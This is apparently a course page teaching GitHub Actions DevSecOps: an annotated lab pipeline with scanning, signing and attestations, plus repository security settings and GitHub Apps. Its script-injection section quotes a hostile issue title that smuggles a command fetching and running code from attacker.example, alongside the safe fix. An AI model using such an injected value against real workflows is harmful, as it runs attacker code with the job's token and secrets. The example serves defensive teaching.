The output of each step, plus annotations.
Why it exists
Understand a failure line by line.
In real companies
Turn on debug mode for a problematic run without touching the YAML.
How
Variable or secret ACTIONS_STEP_DEBUG=true, or tick "Enable debug logging" when re-running. Workflow commands: ::notice::, ::warning::, ::error::, ::group::, ::add-mask::.
Limits and pitfalls
Logs are kept according to the repository's retention setting. A badly masked secret (encoded, split) can leak.
Debugging recipe

Add the repository variables ACTIONS_STEP_DEBUG=true and ACTIONS_RUNNER_DEBUG=true for verbose logs, or tick "Enable debug logging" when you re-run. ::notice::, ::warning:: and ::error:: create annotations; ::add-mask::value hides a value in the logs.

The same from the terminal

Everything in the Actions tab is also available with the GitHub CLI, gh. These are the commands you will use most.

$ gh run list --workflow devsecops.yml --limit 5
$ gh run watch
$ gh run view --log-failed
$ gh run rerun --failed
$ gh workflow run devsecops.yml -f environment=staging -f skip-deploy=true
$ gh run download -n sbom.spdx.json
$ gh cache list

gh run view, rerun and download ask you to pick a run when you do not pass its ID.

The actions lockfile

The Lockfile page of the Actions tab
Actions, Lockfile. Click the numbered pins.

Actions lockfile

What it is
The file .github/workflows/actions.lock that pins every action and its transitive dependencies to a commit.
Why it exists
Guarantee that the code you reviewed is exactly the code that runs, even if a tag is moved.
In real companies
A direct answer to supply chain attacks through hijacked tags. A "Require lockfile" policy can enforce it across an organization.
How
gh extension install github/gh-actions-lock, then gh actions-lock; a verify mode exists for CI. Dependabot updates the lockfile in its pull requests.
Limits and pitfalls
Public preview (announced October 2026), so details may change. Locking does not make an action safe: review it before you lock it.

Hands-onBuild without deploying

In your fork, start the DevSecOps Pipeline by hand with skip-deploy ticked. Before you click, predict the run graph: which jobs run, which are skipped?

Show the solution

CI and Image run; Deploy is skipped because its condition is if: ${{ !inputs.skip-deploy }}. Inside CI, Dependency review is skipped too: it only runs on pull_request events. The SBOM, test reports and SARIF are still available as artifacts.

The DevSecOps lab, file by file

80 min, read the real code
By the end of this station you can
  • explain the role of every file in the repository;
  • follow the pipeline from push to smoke test and justify each step;
  • explain keyless signing and why we deploy by digest;
  • trigger, break and repair the pipeline in your fork.

The map of the repository

FileRole
app/app.pyFlask API: / returns a message and the version, /healthz answers the probes.
app/test_app.pyTwo pytest tests, one per endpoint.
app/requirements.txtgunicorn==22.0.0 kept old on purpose: a target for Dependabot and Trivy.
DockerfileMulti-stage, non-root user 10001, OCI labels, HEALTHCHECK.
k8s/A hardened Deployment (runAsNonRoot, readOnlyRootFilesystem, all capabilities dropped, probes, limits) and a Service.
.github/workflows/devsecops.ymlThe orchestrator: calls ci.yml, then reusable-docker.yml, then deploys.
ci.ymlLint (ruff), tests (matrix), secret scan (gitleaks), dependency review (pull requests only).
reusable-docker.ymlBuild, Trivy (SARIF report and gate), push to GHCR, SBOM with Syft, cosign signature, SLSA and SBOM attestations.
codeql.ymlStatic analysis of the Python code and of the workflows themselves, every Monday, on push and on pull requests.
ai-pr-review.ymlAI review of pull requests (Copilot), inactive until the COPILOT_PAT secret exists.
copilot-setup-steps.ymlPrepares the Copilot agent's environment (the job must be named copilot-setup-steps).
pages.ymlPublishes this course from docs/ to GitHub Pages. Not part of the lab pipeline, but a nice small example: pages: write, id-token: write and an environment.
.github/actions/smoke-test/Composite action: port-forward, curl, check the answer.
dependabot.yml, CODEOWNERS, copilot-instructions.md, AGENTS.md, SECURITY.md, pull_request_template.mdWeekly updates, mandatory reviewers, instructions for AI agents, how to report a vulnerability, a DevSecOps checklist on every pull request.

The orchestrator

permissions: {}                      # zero rights by default1
concurrency:
  group: deploy-${{ github.ref }}
  cancel-in-progress: false
jobs:
  ci:
    uses: ./.github/workflows/ci.yml           # reused CI2
    permissions:
      contents: read
      pull-requests: write
  build:
    needs: ci
    uses: ./.github/workflows/reusable-docker.yml
    with:
      push: true
    permissions:                     # exactly what the build needs3
      contents: read
      packages: write
      security-events: write
      id-token: write                # OIDC for Sigstore
      attestations: write
      artifact-metadata: write
  deploy:
    needs: build
    if: ${{ !inputs.skip-deploy }}
    environment:
      name: ${{ inputs.environment || 'staging' }}4
    permissions:
      contents: read
      packages: read
      attestations: read
    env:
      IMAGE: ${{ needs.build.outputs.image }}@${{ needs.build.outputs.digest }}   # by digest5
  1. The workflow grants nothing; each job asks for its own permissions. A compromised step in the deploy job cannot push an image.
  2. The same ci.yml serves pull requests and the pipeline: one definition to maintain.
  3. A reusable workflow cannot get more permissions than the caller grants.
  4. On a push there are no inputs, so the expression falls back to staging.
  5. Everything after the build refers to the immutable digest, never to a tag.

What happens, and why

  1. Filtered trigger. A README change does not restart the pipeline thanks to paths. A v1.2.0 tag does, and produces an image tagged 1.2.0.
  2. Reused CI. The same ci.yml runs on pull requests and inside the pipeline.
  3. Scan before publishing. The image is built locally (load: true), scanned, and only pushed if the gate passes. The second build reuses the type=gha cache, so it costs seconds.
  4. Sign the digest, never the tag. latest can move; sha256:… cannot.
  5. Zero trust at deployment. The deploy job re-verifies the cosign signature and the SLSA provenance before loading the image into kind.
  6. Proof of life. The composite action calls /healthz and fails the job if the answer is wrong.

Inside the reusable build

      - name: Build (local)
        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: .
          load: true                   # keep the image on the runner, do not push
          tags: lab-api:scan
          build-args: APP_VERSION=${{ github.sha }}
          cache-from: type=gha         # GitHub Actions cache for Docker layers
          cache-to: type=gha,mode=max
      - name: Trivy - SARIF report
        uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0
        with:
          image-ref: lab-api:scan
          format: sarif
          output: trivy.sarif
          ignore-unfixed: true
          exit-code: "0"               # report everything, never fail here
      - name: Upload SARIF to code scanning
        if: always()
        uses: github/codeql-action/upload-sarif@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
        with:
          sarif_file: trivy.sarif
          category: trivy-image
      - name: Trivy - CRITICAL gate
        uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0
        with:
          image-ref: lab-api:scan
          severity: CRITICAL
          ignore-unfixed: true         # only vulnerabilities you can actually fix
          exit-code: "1"               # fail the job: this is the gate
          skip-setup-trivy: true

Two scans, two purposes: the first one informs (everything goes to the Security tab), the second one decides (only fixable CRITICAL vulnerabilities block). A gate that blocks on everything would be disabled within a week; a gate on what you can fix today is one people keep.

      - name: Login GHCR
        if: inputs.push
        uses: docker/login-action@dbcb813823bdd20940b903addbd779551569679f # v4.6.0
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}   # no personal token needed
      - name: Build & push
        id: push
        if: inputs.push
        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: .
          push: true
          tags: ${{ steps.meta.outputs.tags }}     # sha-…, main, 1.2.0, latest
          labels: ${{ steps.meta.outputs.labels }}
          build-args: APP_VERSION=${{ github.sha }}
          cache-from: type=gha
      - name: SBOM (Syft, SPDX)
        uses: anchore/sbom-action@66cbf4bc1f1c0d2edc94016e65bc221b6bb0ad6c # v0.24.3
        with:
          image: ${{ steps.vars.outputs.image }}@${{ steps.push.outputs.digest }}
          format: spdx-json
          output-file: sbom.spdx.json
      - uses: sigstore/cosign-installer@6f9f17788090df1f26f669e9d70d6ae9567deba6 # v4.1.2
      - name: Keyless signature (cosign + OIDC)
        run: cosign sign --yes "${{ steps.vars.outputs.image }}@${{ steps.push.outputs.digest }}"
      - name: Provenance attestation (SLSA)
        uses: actions/attest@1e69f48acb82d1966a394da916b4c1698aa569d6 # v4.2.2
        with:
          subject-name: ${{ steps.vars.outputs.image }}
          subject-digest: ${{ steps.push.outputs.digest }}
          push-to-registry: true
      - name: SBOM attestation
        uses: actions/attest@1e69f48acb82d1966a394da916b4c1698aa569d6 # v4.2.2
        with:
          subject-name: ${{ steps.vars.outputs.image }}
          subject-digest: ${{ steps.push.outputs.digest }}
          sbom-path: sbom.spdx.json
          push-to-registry: true

The if: inputs.push conditions are trimmed from this excerpt. With push: false, the reusable workflow only builds and scans: useful for a pull request pipeline.

Keyless signing, the chain of trust

Think of it like this

Classic signing is like owning a stamp that you must hide forever: if someone steals it, they can stamp anything. Keyless signing is like a notary who checks your ID, hands you a single-use stamp that dissolves after ten minutes, and writes in a public register what you stamped and when. Nothing to hide, and everything is traceable.

      - name: Verify the cosign signature
        run: |
          cosign verify "$IMAGE" \
            --certificate-identity-regexp "^https://github.com/${GITHUB_REPOSITORY}/" \
            --certificate-oidc-issuer https://token.actions.githubusercontent.com > /dev/null
          echo "Valid signature for $IMAGE"
      - name: Verify the provenance attestation
        env:
          GH_TOKEN: ${{ github.token }}
        run: gh attestation verify "oci://$IMAGE" --repo "$GITHUB_REPOSITORY"
      - name: Create an ephemeral Kubernetes cluster (kind)
        uses: helm/kind-action@1544676c07bb3570fcb70166beaa07c4528fd4aa # v1.15.1
      - name: Load the verified image into the cluster
        run: |
          docker pull "$IMAGE"
          docker tag "$IMAGE" "$LOCAL_TAG"
          kind load docker-image "$LOCAL_TAG" --name chart-testing
      - name: Deploy
        run: |
          sed -i "s|IMAGE_PLACEHOLDER|${LOCAL_TAG}|" k8s/deployment.yaml
          kubectl apply -f k8s/
          kubectl rollout status deployment/lab-api --timeout=180s
      - name: Smoke test
        uses: ./.github/actions/smoke-test
        with:
          service: lab-api

The container and the cluster

FROM python:3.13-slim AS build                       # stage 1: install dependencies1
WORKDIR /src
COPY app/requirements.txt .
RUN pip install --no-cache-dir --prefix=/install -r requirements.txt

FROM python:3.13-slim                                # stage 2: minimal final image
LABEL org.opencontainers.image.source="https://github.com/georgesmomo/devsecops-actions-lab"2
RUN useradd --create-home --uid 10001 appuser
COPY --from=build /install /usr/local
COPY app/app.py .
USER 10001                                           # never run as root3
EXPOSE 8080
HEALTHCHECK --interval=30s --timeout=3s CMD python -c "import urllib.request,sys; urllib.request.urlopen('http://127.0.0.1:8080/healthz'); sys.exit(0)"
CMD ["gunicorn", "--bind", "0.0.0.0:8080", "--workers", "2", "app:app"]
  1. A multi-stage build keeps compilers and caches out of the final image: smaller, fewer vulnerabilities.
  2. This label links the GHCR package to the repository (permissions, README, provenance).
  3. A numeric user ID lets Kubernetes verify runAsNonRoot.
    spec:
      securityContext:
        runAsNonRoot: true
        seccompProfile: { type: RuntimeDefault }
      containers:
        - name: api
          image: IMAGE_PLACEHOLDER          # replaced by the pipeline
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true    # the app cannot modify its own files1
            capabilities: { drop: ["ALL"] }
          volumeMounts: [{ name: tmp, mountPath: /tmp }]   # the only writable place2
          readinessProbe:
            httpGet: { path: /healthz, port: 8080 }
          livenessProbe:
            httpGet: { path: /healthz, port: 8080 }
          resources:
            requests: { cpu: 50m, memory: 64Mi }
            limits: { cpu: 250m, memory: 128Mi }
  1. If an attacker gets code execution, they cannot drop tools into the container's file system.
  2. gunicorn needs a writable temporary folder, so /tmp is an in-memory emptyDir.

To learn Kubernetes itself in the same hands-on style, take the Kubernetes + Helm course of this series.

The other guards

    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          fetch-depth: 0       # the whole history: a deleted secret is still in git
      - uses: gitleaks/gitleaks-action@e0c47f4f8be36e29cdc102c57e68cb5cbf0e8d1e # v3.0.0
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
  dependency-review:
    if: github.event_name == 'pull_request'
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - uses: actions/dependency-review-action@a1d282b36b6f3519aa1f3fc636f609c47dddb294 # v5.0.0
        with:
          fail-on-severity: high          # block a PR that adds a vulnerable dependency
          comment-summary-in-pr: always

Dependabot finds vulnerable dependencies already in the code; dependency review stops a pull request from adding one.

on:
  push: { branches: [main] }
  pull_request: { branches: [main] }
  schedule:
    - cron: "27 3 * * 1"        # every Monday 03:27 UTC: new rules, new alerts
jobs:
  analyze:
    permissions:
      contents: read
      actions: read
      security-events: write    # publish alerts to the Security tab
    strategy:
      matrix:
        language: [python, actions]   # the workflows are analyzed too
    steps:
      - uses: github/codeql-action/init@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
        with:
          languages: ${{ matrix.language }}
          queries: security-extended
      - uses: github/codeql-action/analyze@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
version: 2
updates:
  - package-ecosystem: pip
    directory: /app
    schedule: { interval: weekly }
  - package-ecosystem: docker
    directory: /
    schedule: { interval: weekly }
  - package-ecosystem: github-actions   # also updates pinned SHAs and their comments
    directory: /
    schedule: { interval: weekly }
    groups:
      actions:
        patterns: ["*"]                 # one pull request for all actions

Practice: run the whole loop

Hands-onDeploy through a pull request

  1. In your fork, open app/app.py in the editor and change MESSAGE.
  2. In Commit changes, choose Create a new branch, then Propose changes: a pull request opens.
  3. Watch the Checks tab of the pull request: CI (lint, tests, gitleaks, dependency review), CodeQL, and AI PR Review (a warning while the secret is missing).
  4. Merge. On main, DevSecOps Pipeline starts: build, scan, signature, deployment to staging.
  5. In the run summary, compare the new digest with the previous one, then open the attestation that was created.

ChallengeBreak it on purpose

  • Add assert False to a test in a pull request and confirm that nothing gets built.
  • Merge the Dependabot pull request "Bump gunicorn" and watch the matching Trivy alert close on the next scan (Security and quality, Code scanning).
  • In a pull request, change the base image to an end-of-life Python such as python:3.8-slim. Old base images usually carry fixable CRITICAL vulnerabilities: check whether the gate stops the build, and read why in the Trivy log.
Show what to look for

A failing test turns the Tests job red, and since build has needs: ci, the Image and Deploy jobs never start. For the gate, open the "Trivy - CRITICAL gate" step: the table lists each CVE with its fixed version. The SARIF report of the same run still reaches the Security tab because that upload step has if: always().

Security tab, packages and attestations

55 min, the Sec in DevSecOps
By the end of this station you can
  • tell apart Dependabot alerts, security updates and version updates;
  • read code scanning alerts from CodeQL and Trivy;
  • verify where a container image comes from;
  • apply the six security rules of GitHub Actions.
The Security and quality overview page listing the security features and their status
Security and quality, Overview. Click the numbered pins.

Security policy and advisories

What it is
SECURITY.md, private vulnerability reporting and security advisories.
Why it exists
Receive a vulnerability report without it being public, fix it in a private fork, then publish an advisory (GHSA) and request a CVE.
In real companies
Every exposed project: a researcher must be able to report without opening a public issue.
How
SECURITY.md at the root or in .github/; Security, Overview, Enable vulnerability reporting; Advisories, New draft.
Limits and pitfalls
Private vulnerability reporting is off by default: turn it on.

Dependabot

What it is
GitHub's dependency bot, with three distinct features.
Why it exists
Alerts tell you a dependency has a known vulnerability. Security updates open the pull request that fixes the alert. Version updates open regular update pull requests according to dependabot.yml.
In real companies
Basic hygiene required by audits: no known vulnerable dependency left more than X days.
How
Alerts and security updates: Settings, Advanced Security. Version updates: .github/dependabot.yml (ecosystems pip, docker, github-actions…, schedule, groups).
Limits and pitfalls
Dependabot has its own secrets (Settings, Secrets, Dependabot): Actions secrets are not passed to it.
Exam tip
Workflows triggered by Dependabot pull requests get a read-only token, like a fork.

Secret scanning and push protection

What it is
Detection of secrets (cloud keys, tokens, passwords) in the code and its history.
Why it exists
Alert you, notify the provider so the key can be revoked, and with push protection block the push before the secret lands.
In real companies
The last line of defense against cloud keys leaking into a repository.
How
On by default for public repositories. A blocked push shows the file and the line; bypassing is possible with a recorded justification.
Limits and pitfalls
A detected secret must be revoked: deleting it in a later commit does not remove it from history.
The code scanning alerts list with alerts detected by Trivy
Code scanning alerts. Click the numbered pins.

Code scanning

What it is
The central view of vulnerabilities found by analyzers: CodeQL, Trivy or any tool that outputs SARIF.
Why it exists
See, triage, fix and track alerts, and show them as annotations in pull requests.
In real companies
SAST on code (CodeQL), image scanning (Trivy, Grype), infrastructure as code (Checkov) in one place. A ruleset can block a merge when a high alert appears.
How
Default setup (one click, no YAML) or advanced setup (a codeql.yml, like the lab). Third-party tools: upload-sarif with a category.
Limits and pitfalls
Free on public repositories; paid (GitHub Code Security) on private ones. Default and advanced setup cannot be combined.
Exam tip
Uploading SARIF needs security-events: write.

The published image

The GHCR package page of the lab image
The package on GitHub Container Registry. Click the numbered pins.

Packages (GitHub Container Registry)

What it is
GitHub's package registry; ghcr.io for container images.
Why it exists
Store images next to the code, with the same access rights and the same token.
In real companies
Avoid an external registry for internal projects; trace an image back to its commit.
How
docker/login-action with GITHUB_TOKEN and packages: write; the label org.opencontainers.image.source links the package to the repository.
Limits and pitfalls
Each package has its own visibility (here inherited, public). Storage and transfer are billed for private packages beyond the free amount.

The provenance attestation

An SLSA provenance attestation page
An SLSA provenance attestation. Click the numbered pins.

Attestations and SBOM

What it is
Signed statements about an artifact: where it comes from (SLSA provenance) and what it contains (SBOM).
Why it exists
Prove that an image was built by a given workflow, from a given commit, without modification.
In real companies
Supply chain requirements (SLSA, the EU Cyber Resilience Act, large customers). A Kubernetes admission controller can reject any image without a valid attestation.
How
actions/attest (provenance, SBOM or a custom predicate) with id-token: write and attestations: write; verify with gh attestation verify.
Limits and pitfalls
On private repositories it requires GitHub Enterprise Cloud. An attestation proves origin, not the absence of vulnerabilities.

You can verify the lab's image yourself, from any machine with the GitHub CLI and cosign installed. Replace the digest with the one shown on the package page.

$ gh attestation verify oci://ghcr.io/georgesmomo/devsecops-actions-lab@sha256:DIGEST --owner georgesmomo
$ cosign verify ghcr.io/georgesmomo/devsecops-actions-lab@sha256:DIGEST --certificate-identity-regexp "^https://github.com/georgesmomo/devsecops-actions-lab/" --certificate-oidc-issuer https://token.actions.githubusercontent.com

The six security rules of GitHub Actions

RuleWhyHow
Least privilegeA compromised step can only do what the token allows.permissions: {} at workflow level, then the minimum per job. The GITHUB_TOKEN expires with the job.
Pin by SHAA tag can be moved to malicious code by whoever controls the action's repository; a commit SHA cannot.uses: actions/checkout@3d3c42e… # v7.0.1. Dependabot updates both the SHA and the comment.
No script injectionTitles, branch names and comments are written by users.Never put ${{ github.event.* }} text inside run:; pass it through env: and quote "$VAR".
OIDC instead of keysNo long-lived cloud key to leak or rotate.id-token: write and a federation on the cloud side with conditions on the sub claim (repository, branch, environment).
EnvironmentsA human or time gate before production; production secrets isolated.Required reviewers, wait timer, allowed branches, environment secrets.
Careful with self-hosted runnersAnyone who can open a pull request could run code on your machine.Never on a public repository. Prefer ephemeral (just-in-time) runners.

Script injection, seen up close

on: issues
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: echo "New issue: ${{ github.event.issue.title }}"

The expression is pasted into the script before bash runs it. An issue titled "; curl https://attacker.example/x | sh; echo " becomes a command, running with the job's token and secrets.

on: issues
permissions: {}
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - env:
          TITLE: ${{ github.event.issue.title }}
        run: echo "New issue: $TITLE"

The value is now data in an environment variable. Bash never interprets it as code. CodeQL's actions language, enabled in the lab, detects the vulnerable pattern.

Hands-onTurn on what is off

  • In your fork: Security and quality, Overview, enable Dependabot alerts.
  • Enable private vulnerability reporting.
  • Verify your own image with gh attestation verify, using the digest from your package page.

The settings that matter

50 min, admin view
By the end of this station you can
  • lock down which actions may run and what the GITHUB_TOKEN can do;
  • write a least-privilege permissions: block;
  • protect production with an environment and main with a ruleset;
  • choose where to store secrets and variables.
The repository Settings page with its left menu
Settings, General. Click the numbered pins.

Webhooks

What it is
An HTTP POST that GitHub sends to a URL for each chosen event.
Why it exists
Notify an external system: Jenkins, Slack, an internal tool.
In real companies
Simple integrations with no identity and no write access. If the tool must also act on GitHub, prefer a GitHub App.
How
Settings, Webhooks, Add webhook: URL, secret (HMAC SHA-256 signature), events.
Limits and pitfalls
Your server must verify the X-Hub-Signature-256 header. Deliveries can be inspected and replayed.

Deploy keys

What it is
An SSH key that grants access to a single repository, read-only or read-write.
Why it exists
Let a server clone one specific repository without a user account.
In real companies
A legacy server that runs git pull on one repository.
How
Settings, Deploy keys, Add deploy key.
Limits and pitfalls
It never expires and belongs to nobody. For several repositories, a GitHub App is cleaner.

Actions, General

Settings, Actions, General with the action policy options
Settings, Actions, General. Click the numbered pins.

Actions policies

What it is
The rules about what workflows may use and do.
Why it exists
Restrict allowed actions, require SHA pinning, set retention and fork approval.
In real companies
In an organization: allow only GitHub's actions, verified creators and an internal allow list.
How
Settings, Actions, General (repository, organization or enterprise).
Limits and pitfalls
A lower level cannot be more permissive than the organization or enterprise above it.

OIDC

What it is
An identity token signed by GitHub, unique to each job.
Why it exists
Authenticate to AWS, Google Cloud, Azure, Vault or Sigstore without storing any key.
In real companies
Replace every long-lived cloud key stored as a secret; it is also what makes the lab's keyless signing possible.
How
permissions: id-token: write, then the cloud's action (aws-actions/configure-aws-credentials, google-github-actions/auth) with a trust role.
Limits and pitfalls
Security depends on the conditions set on the cloud side: restrict to the repository, branch or environment in the sub claim.
Lower part of the Actions settings with fork approval and workflow permissions
Further down: default permissions. Click the numbered pins.

GITHUB_TOKEN

What it is
A token created automatically for each job, which expires when the job ends.
Why it exists
Let the workflow read the code, comment on a pull request or push an image without any secret to manage.
In real companies
Always better than a personal token to act on the current repository.
How
Read-only by default (Settings, Actions, Workflow permissions), then a permissions: block per job in the YAML.
Limits and pitfalls
Limited to the current repository. Events it creates do not trigger other workflows (except workflow_dispatch and repository_dispatch).
Exam tip
permissions: {} removes everything; as soon as a permissions block exists, any scope not listed is none.

Least-privilege builder for GITHUB_TOKEN

Tick what your job needs to do. The block below only grants those scopes; everything else becomes none.

Runners

Settings, Actions, Runners with no self-hosted runner
Settings, Actions, Runners. Click the numbered pins.

Runners

What it is
The machines that execute jobs.
Why it exists
GitHub-hosted (a fresh VM for every job), larger runners (more CPU, static IP, GPU) or self-hosted (your own machines).
In real companies
Self-hosted when you need a private network, special hardware, or lower cost at scale (Actions Runner Controller on Kubernetes).
How
runs-on: ubuntu-latest, or runs-on: [self-hosted, linux, x64] after Settings, Actions, Runners, New self-hosted runner. Runner groups at organization level.
Limits and pitfalls
Never a persistent self-hosted runner on a public repository. Prefer ephemeral runners (one job, then destroyed).
Exam tip
Preinstalled software depends on the runner image; ubuntu-latest and windows-latest move to new versions over time.

Environments

The staging environment settings with protection rules
Environments, staging (created by the first deployment). Click the numbered pins.

Environments

What it is
A named deployment target (staging, production) with its own rules and secrets.
Why it exists
Put a human or time-based gate before a deployment, and isolate production secrets.
In real companies
Production: mandatory reviewer, main only, production secrets invisible to other jobs.
How
Settings, Environments, then environment: production in the job. Created automatically on first use.
Limits and pitfalls
On private repositories, required reviewers need a paid plan. A job waiting for approval expires after 30 days.
Exam tip
The OIDC token of a job with an environment carries environment:NAME in its sub claim: cloud trust can be restricted to it.

Secrets and variables

Settings, Secrets and variables, Actions
Settings, Secrets and variables, Actions. Click the numbered pins.

Secrets and variables

What it is
Configuration values injected into workflows: encrypted (secrets) or plain text (variables).
Why it exists
Never write a key in YAML; centralize configuration.
In real companies
Organization secrets shared with selected repositories; environment secrets for production.
How
Settings, Secrets and variables, Actions. ${{ secrets.X }}, ${{ vars.Y }}. CLI: gh secret set X.
Limits and pitfalls
A secret is never displayed again. No secrets for fork pull requests or for Dependabot (which has its own).
Exam tip
Precedence: environment, then repository, then organization.
Exam tip: precedence and limits

Environment beats repository, which beats organization. Secrets: ${{ secrets.NAME }}, encrypted, masked in logs, up to 48 KB each. Variables: ${{ vars.NAME }}, plain text. Secrets are not passed to a reusable workflow unless the caller uses secrets: inherit or maps them explicitly.

Rulesets (branch protection)

The new branch ruleset form
Settings, Rulesets, New branch ruleset (not saved). Click the numbered pins.

Rulesets

What it is
Rules that protect branches and tags: pull request required, required checks, signed commits, linear history.
Why it exists
Prevent untested or unreviewed code from reaching main.
In real companies
The foundation of governance: protected main, two approvals, green CI, CODEOWNERS review on .github/.
How
Settings, Rulesets, New branch ruleset. Evaluate mode to observe without blocking, then Active. A bypass list for a release bot.
Limits and pitfalls
Classic branch protection rules still exist; rulesets stack, also target tags and can be defined at organization level.
Exam tip
A required check is named after the job as displayed, for example CI / Tests (Python 3.13).

Hands-onGovern your fork like a company

  • Create a ruleset protect-main: pull request required, required checks from the CI and Image jobs, no force push. Start in Evaluate mode, then switch to Active.
  • Create an environment production with yourself as required reviewer and main as the only allowed branch, then run the pipeline with environment = production and approve it.
  • Tick "Require actions to be pinned to a full-length commit SHA". The lab already complies, so nothing breaks.
  • Generate the actions lockfile with gh extension install github/gh-actions-lock then gh actions-lock, and commit .github/workflows/actions.lock.
Show a hint for required checks

Required checks only appear in the picker after they have run at least once. Open a pull request first, then come back to the ruleset and search for the job names as they are displayed in the Checks tab.

GitHub Apps: GitHub's robot accounts

45 min, integrations
By the end of this station you can
  • explain registration, installation and the App's server;
  • describe how an App gets a token and acts as a bot;
  • choose between GITHUB_TOKEN, a GitHub App, a PAT and OIDC;
  • create your own App and use it from a workflow.

A GitHub App is a non-human identity that you install on an account or an organization. It receives events, acts with precise rights, and signs its actions as app-name[bot].

Think of it like this

A personal token is lending your house keys to a contractor: they can open every door, and if they lose the keys, you change all the locks. A GitHub App is a building badge printed for the contractor: it opens only the rooms you chose, it expires every hour, it shows their company name at every door, and you can deactivate it in one click.

PartWhat it is
RegistrationThe identity card created once by the publisher: name, App ID and Client ID, private key, requested permissions, subscribed events, webhook URL.
InstallationAn account or organization owner installs it, picks all repositories or some, and accepts the permissions. Each installation has its own ID.
The App's serverThe publisher's program (Vercel, Snyk, Claude…) that receives webhooks and calls the API. An App can also have no server at all and only serve as an identity in your workflows.

When Apps step in: real examples

AppEvent that wakes it upWhat it doesTypical permissions
Dependabot (built in)new CVE, scheduleopens update pull requestscontents write, pull requests write
Vercel, Cloudflare Pagespush, pull_requestdeploys a preview, posts a check and a comment with the URLcontents read, checks write, deployments write
Snyk, SonarCloud, Codecovpull_requestanalyzes, posts a blocking check if quality is too lowcontents read, checks write, statuses write
Claude, Jules, Copilotmention, assignment, session startedreads the code, creates a branch, pushes, opens a pull requestcontents write, pull requests write, issues write
Slack, Teamspull requests, issues, deploymentsposts to a channel, lets you act from the chatmostly read
Your own Appyour workflowa token to act on other repositories or trigger other workflowsexactly what you choose

Why companies use them

  • Replace service accounts. A personal token belongs to a person: it breaks when they leave and uses a paid seat. An App has no password, no seat and no human owner.
  • Real least privilege. Permissions per category (contents, issues, checks…), read or write, limited to the repositories where the App is installed, with one-hour tokens.
  • Homemade required checks. Only GitHub Apps can create check runs, so an internal compliance tool becomes a required check in a ruleset.
  • Automation across repositories. GITHUB_TOKEN only sees its own repository and triggers nothing. An App token can open a pull request in another repository and start its CI.
  • Controlled bypass. A release bot can sit in a ruleset's bypass list to push a tag, without giving that right to any human.
  • Traceability. Every action shows as app[bot] in the history and the audit log; the installation can be revoked in one click.

Constraints and pitfalls

TopicWhat to know
Private keyThe .pem file is the App's identity: whoever holds it acts as the App. Store it as a secret or in a vault and rotate it. Several keys can be active during a rotation.
Token lifetimeJWT: 10 minutes at most. Installation token: 1 hour. Longer work must request a new one.
Changed permissionsIf the publisher asks for a new permission, each installation must accept it; until then the old list applies.
Who can installIn an organization, only owners (or App managers) install; members can only request.
Visibility"Only on this account": private to your account or organization. "Any account": installable by anyone, publishable on the Marketplace.
API quotaPer installation: at least 5,000 requests per hour, more for large organizations.
LoopsA push made with an App token triggers workflows, unlike GITHUB_TOKEN. Add conditions so a workflow does not restart itself forever.
ReviewsA bot's approval does not satisfy a required human review, by design.

GITHUB_TOKEN, GitHub App, OAuth App, PAT or OIDC?

MechanismActs asLifetimeChoose it when
GITHUB_TOKENthe workflowthe jobThe workflow only acts on its own repository.
GitHub Appa bot1 h, renewableLasting integration, several repositories, need to trigger other workflows or post checks.
GitHub App on behalf of a usera user, through the App8 h plus refreshA web tool where users sign in with GitHub and actions must carry their name.
OAuth Appa userlongThe older "Sign in with GitHub" model with broad scopes. GitHub recommends a GitHub App instead.
Fine-grained PATyouexpiry you chooseA one-off personal script. Avoid it in team CI.
OIDCthe job, as seen by a cloudminutesAccess to AWS, Google Cloud, Azure, Vault, Sigstore. Grants no rights on GitHub itself.
Settings, GitHub Apps listing installed Apps
Settings, GitHub Apps (other App names blurred). Click the numbered pins.

Apps installed on a repository

What it is
The list of GitHub Apps that can access this repository (Settings, Integrations, GitHub Apps).
Why it exists
See who, besides humans, can read or change this repository, and with which rights.
In real companies
Quarterly access reviews required by audits: each App must have a known purpose and justified permissions.
How
Configure: choose accessible repositories, review permissions, suspend or uninstall. Account side: Settings, Applications.
Limits and pitfalls
An App installed on "All repositories" automatically gets access to future repositories: prefer "Only select repositories".

Practice: create your own App for the lab

  1. Avatar, Settings, Developer settings, GitHub Apps, New GitHub App.
  2. Name: something unique such as yourname-lab-bot. Homepage: your fork's URL. Untick Webhook Active: the App will only serve as an identity in Actions, no server needed.
  3. Repository permissions: Contents: Read and write, Pull requests: Read and write. Nothing else. Where can this be installed: Only on this account. Create.
  4. On the App's page, note the Client ID, then Generate a private key (a .pem file downloads).
  5. Menu Install App, your account, Only select repositories, your fork.
  6. In your fork: variable APP_CLIENT_ID = the Client ID; secret APP_PRIVATE_KEY = the content of the .pem. Then delete the .pem from your disk.
jobs:
  bump:
    runs-on: ubuntu-latest
    permissions: {}                       # we do not use GITHUB_TOKEN at all
    steps:
      - id: app
        uses: actions/create-github-app-token@64ab729a6294000f5aa4a4bc0b73d1f32bc45510 # v3.3.0
        with:
          client-id: ${{ vars.APP_CLIENT_ID }}
          private-key: ${{ secrets.APP_PRIVATE_KEY }}
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with: { token: ${{ steps.app.outputs.token }}, persist-credentials: false }
      - env: { GH_TOKEN: ${{ steps.app.outputs.token }} }
        run: |
          git switch -c chore/bump-version
          sed -i 's/1.0.0/1.0.1/' app/app.py
          git -c user.name="yourname-lab-bot[bot]" commit -am "chore: bump 1.0.1"
